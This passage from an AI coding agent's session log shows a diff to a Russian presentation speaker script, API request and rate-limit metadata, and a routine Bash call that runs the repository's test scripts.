\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\"\n[2026-09-29T07:56:23.749Z] [INFO]               ]\n[2026-09-29T07:56:23.749Z] [INFO]             },\n[2026-09-29T07:56:23.749Z] [INFO]             {\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldStart\": 386,\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newStart\": 386,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newLines\": 9,\n[2026-09-29T07:56:23.749Z] [INFO]               \"lines\": [\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0417\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+\u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+\u043d\u0451\u043c.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" ### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \"\n[2026-09-29T07:56:23.749Z] [INFO]               ]\n[2026-09-29T07:56:23.749Z] [INFO]             }\n[2026-09-29T07:56:23.749Z] [INFO]           ]\n[2026-09-29T07:56:23.749Z] [INFO]         }\n[2026-09-29T07:56:23.749Z] [INFO]       ],\n[2026-09-29T07:56:23.749Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:56:23.749Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:56:23.749Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\"\n[2026-09-29T07:56:23.749Z] [INFO]       ]\n[2026-09-29T07:56:23.749Z] [INFO]     }\n[2026-09-29T07:56:23.749Z] [INFO]   }\n[2026-09-29T07:56:23.749Z] [INFO] }\n[2026-09-29T07:56:23.801Z] [STDOUT] [log_7063dc] sending request {\n[2026-09-29T07:56:23.806Z] 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[STDOUT]       thread: [Object ...],\n[2026-09-29T07:56:23.894Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:56:23.896Z] [STDOUT]       stream: true,\n[2026-09-29T07:56:23.901Z] [STDOUT]     },\n[2026-09-29T07:56:23.905Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:56:23.911Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:56:23.922Z] [STDOUT]       aborted: false,\n[2026-09-29T07:56:23.926Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:56:23.929Z] [STDOUT]       onabort: null,\n[2026-09-29T07:56:23.935Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:56:23.945Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:56:23.951Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:56:23.954Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:56:23.957Z] [STDOUT]     },\n[2026-09-29T07:56:23.962Z] [STDOUT]     stream: true,\n[2026-09-29T07:56:23.970Z] [STDOUT]   },\n[2026-09-29T07:56:23.973Z] [STDOUT]   headers: {\n[2026-09-29T07:56:23.975Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:56:23.977Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:56:23.981Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:56:23.985Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:56:23.987Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:56:23.993Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:56:23.996Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:56:24.000Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:56:24.003Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:56:24.007Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1801\",\n[2026-09-29T07:56:24.012Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:56:24.024Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:56:24.028Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:24.030Z] [STDOUT]     \"x-client-request-id\": \"e95e7f5b-b268-4404-9a9d-6b14c96a2b57\",\n[2026-09-29T07:56:24.036Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:56:24.042Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:56:24.048Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:56:24.050Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:56:24.055Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:56:24.063Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:56:24.067Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:56:24.073Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:56:24.077Z] [STDOUT]   },\n[2026-09-29T07:56:24.082Z] [STDOUT] }\n[2026-09-29T07:56:24.658Z] [STDOUT] [log_7063dc, request-id: \"req_011CfXNbLUuSKj5SPMNir4Fh\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 858ms\n[2026-09-29T07:56:24.662Z] [STDOUT] [log_7063dc] response start {\n[2026-09-29T07:56:24.665Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:24.669Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:24.672Z] [STDOUT]   headers: {\n[2026-09-29T07:56:24.675Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:24.678Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:24.681Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:24.683Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.42\",\n[2026-09-29T07:56:24.687Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:24.690Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.694Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:24.698Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:24.705Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:24.709Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:24.713Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:24.718Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:24.723Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:24.728Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.732Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:24.735Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:24.739Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:24.745Z] [STDOUT]     \"cf-ray\": \"a4296e58c8855d90-FRA\",\n[2026-09-29T07:56:24.749Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:56:24.753Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:24.756Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:24.759Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:24.762Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:56:24 GMT\",\n[2026-09-29T07:56:24.767Z] [STDOUT]     \"request-id\": \"req_011CfXNbLUuSKj5SPMNir4Fh\",\n[2026-09-29T07:56:24.772Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:56:24.776Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:24.780Z] [STDOUT]     traceresponse: \"00-23cf267772fcde6e03eb27d7ccfdb74e-f501641e9d1f584e-01\",\n[2026-09-29T07:56:24.783Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:24.786Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:56:24.790Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:24.796Z] [STDOUT]   },\n[2026-09-29T07:56:24.801Z] [STDOUT]   durationMs: 858,\n[2026-09-29T07:56:24.808Z] [STDOUT] }\n[2026-09-29T07:56:24.811Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:56:24.817Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:56:24 GMT\",\n[2026-09-29T07:56:24.823Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:24.826Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:24.831Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:56:24.838Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:24.841Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:24.847Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:24.853Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:56:24.856Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:24.861Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:24.864Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:24.868Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:24.871Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:24.874Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.42\",\n[2026-09-29T07:56:24.878Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:24.883Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:24.888Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.896Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:24.900Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:24.904Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:24.912Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:24.919Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.933Z] [STDOUT]   \"request-id\": \"req_011CfXNbLUuSKj5SPMNir4Fh\",\n[2026-09-29T07:56:24.948Z] [STDOUT]   \"traceresponse\": \"00-23cf267772fcde6e03eb27d7ccfdb74e-f501641e9d1f584e-01\",\n[2026-09-29T07:56:24.953Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:24.966Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:24.975Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:56:24.995Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:25.001Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:25.009Z] [STDOUT]   \"cf-ray\": \"a4296e58c8855d90-FRA\",\n[2026-09-29T07:56:25.066Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:56:25.071Z] [STDOUT] [log_7063dc] response parsed {\n[2026-09-29T07:56:25.076Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:25.086Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:25.087Z] [STDOUT]   body: X {\n[2026-09-29T07:56:25.090Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:56:25.096Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:56:25.099Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:56:25.104Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:56:25.109Z] [STDOUT]     },\n[2026-09-29T07:56:25.112Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:56:25.113Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:56:25.115Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:56:25.118Z] [STDOUT]   },\n[2026-09-29T07:56:25.122Z] [STDOUT]   durationMs: 859,\n[2026-09-29T07:56:25.127Z] [STDOUT] }\n[2026-09-29T07:56:26.145Z] [INFO] {\n[2026-09-29T07:56:26.145Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"message\": {\n[2026-09-29T07:56:26.145Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"id\": \"msg_011CfXNbM1uGPCZmmookjn1V\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"content\": [\n[2026-09-29T07:56:26.145Z] [INFO]       {\n[2026-09-29T07:56:26.145Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:56:26.145Z] [INFO]         \"id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:56:26.145Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:56:26.145Z] [INFO]         \"input\": {\n[2026-09-29T07:56:26.145Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git show --stat --format= HEAD; ls -a | grep gitkeep; for t in tools/test-*.sh; do bash $t >/tmp/t.log 2>&1 && echo \\\"PASS $t\\\" || { echo \\\"FAIL $t\\\"; tail -5 /tmp/t.log; }; done 2>&1 | tail -20\",\n[2026-09-29T07:56:26.145Z] [INFO]           \"description\": \"Locate .gitkeep and run repository tests\"\n[2026-09-29T07:56:26.145Z] [INFO]         },\n[2026-09-29T07:56:26.145Z] [INFO]         \"caller\": {\n[2026-09-29T07:56:26.145Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:56:26.145Z] [INFO]         }\n[2026-09-29T07:56:26.145Z] [INFO]       }\n[2026-09-29T07:56:26.145Z] [INFO]     ],\n[2026-09-29T07:56:26.145Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:26.145Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:26.145Z] [INFO]       \"cache_creation_input_tokens\": 1159,\n[2026-09-29T07:56:26.145Z] [INFO]       \"cache_read_input_tokens\": 61936,\n[2026-09-29T07:56:26.145Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:26.145Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:26.145Z] [INFO]         \"ephemeral_1h_input_tokens\": 1159\n[2026-09-29T07:56:26.145Z] [INFO]       },\n[2026-09-29T07:56:26.145Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:56:26.145Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:26.145Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:26.145Z] [INFO]     },\n[2026-09-29T07:56:26.145Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:26.145Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:26.145Z] [INFO]   },\n[2026-09-29T07:56:26.145Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:26.145Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"uuid\": \"3fb3c23b-aa12-4b1d-840e-99b0b4710345\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:26.134Z\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"request_id\": \"req_011CfXNbLUuSKj5SPMNir4Fh\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:26.145Z] [INFO]     \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\": {\n[2026-09-29T07:56:26.145Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git show --stat --format= HEAD; ls -a | grep gitkeep; for t in tools/test-*.sh; do bash $t >/tmp/t.log 2>&1 && echo \\\"PASS $t\\\" || { echo \\\"FAIL $t\\\"; tail -5 /tmp/t.log; }; done 2>&1 | tail -20\",\n[2026-09-29T07:56:26.145Z] [INFO]       \"description\": \"Locate .gitkeep and run repository tests\"\n[2026-09-29T07:56:26.145Z] [INFO]     }\n[2026-09-29T07:56:26.145Z] [INFO]   }\n[2026-09-29T07:56:26.145Z] [INFO] }\n[2026-09-29T07:56:26.167Z] [INFO] {\n[2026-09-29T07:56:26.167Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:56:26.167Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:56:26.167Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:56:26.167Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:56:26.167Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:56:26.167Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:56:26.167Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:56:26.167Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:56:26.167Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:56:26.167Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:56:26.167Z] [INFO]         \"utilization\": 0.42,\n[2026-09-29T07:56:26.167Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:56:26.167Z] [INFO]       },\n[2026-09-29T07:56:26.167Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:56:26.167Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:56:26.167Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:56:26.167Z] [INFO]       }\n[2026-09-29T07:56:26.167Z] [INFO]     }\n[2026-09-29T07:56:26.167Z] [INFO]   },\n[2026-09-29T07:56:26.167Z] [INFO]   \"uuid\": \"995b6ba5-66ca-418c-86a0-2433b623d9f8\",\n[2026-09-29T07:56:26.167Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:56:26.167Z] [INFO] }\n[2026-09-29T07:56:29.184Z] [INFO] {\n[2026-09-29T07:56:29.184Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"task_id\": \"bdpybtf2y\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"description\": \"Locate .gitkeep and run repository tests\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:56:29.184Z] [INFO]   \"task_type\": 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{\n[2026-09-29T07:57:26.164Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa-heartbeat-1\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"elapsed_time_seconds\": 60,\n[2026-09-29T07:57:26.164Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T07:57:26.164Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"uuid\": \"9a86999b-7507-49c3-a429-eec9e2b9e786\"\n[2026-09-29T07:57:26.164Z] [INFO] }\n[2026-09-29T07:57:56.163Z] [INFO] {\n[2026-09-29T07:57:56.163Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa-heartbeat-2\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"elapsed_time_seconds\": 90,\n[2026-09-29T07:57:56.163Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T07:57:56.163Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"uuid\": \"b29b43f9-ddbc-4322-bba3-c3a2cf93a0e1\"\n[2026-09-29T07:57:56.163Z] [INFO] }\n[2026-09-29T07:58:26.169Z] [INFO] {\n[2026-09-29T07:58:26.169Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa-heartbeat-3\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"elapsed_time_seconds\": 120,\n[2026-09-29T07:58:26.169Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T07:58:26.169Z] [INFO]   \"session_id\": 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}\n[2026-09-29T07:58:26.188Z] [INFO] {\n[2026-09-29T07:58:26.188Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"task_id\": \"bdpybtf2y\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"patch\": {\n[2026-09-29T07:58:26.188Z] [INFO]     \"is_backgrounded\": true\n[2026-09-29T07:58:26.188Z] [INFO]   },\n[2026-09-29T07:58:26.188Z] [INFO]   \"uuid\": \"3853cf3c-f360-4a25-a7db-347dc60dd85b\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:58:26.188Z] [INFO] }\n[2026-09-29T07:58:26.686Z] [INFO] 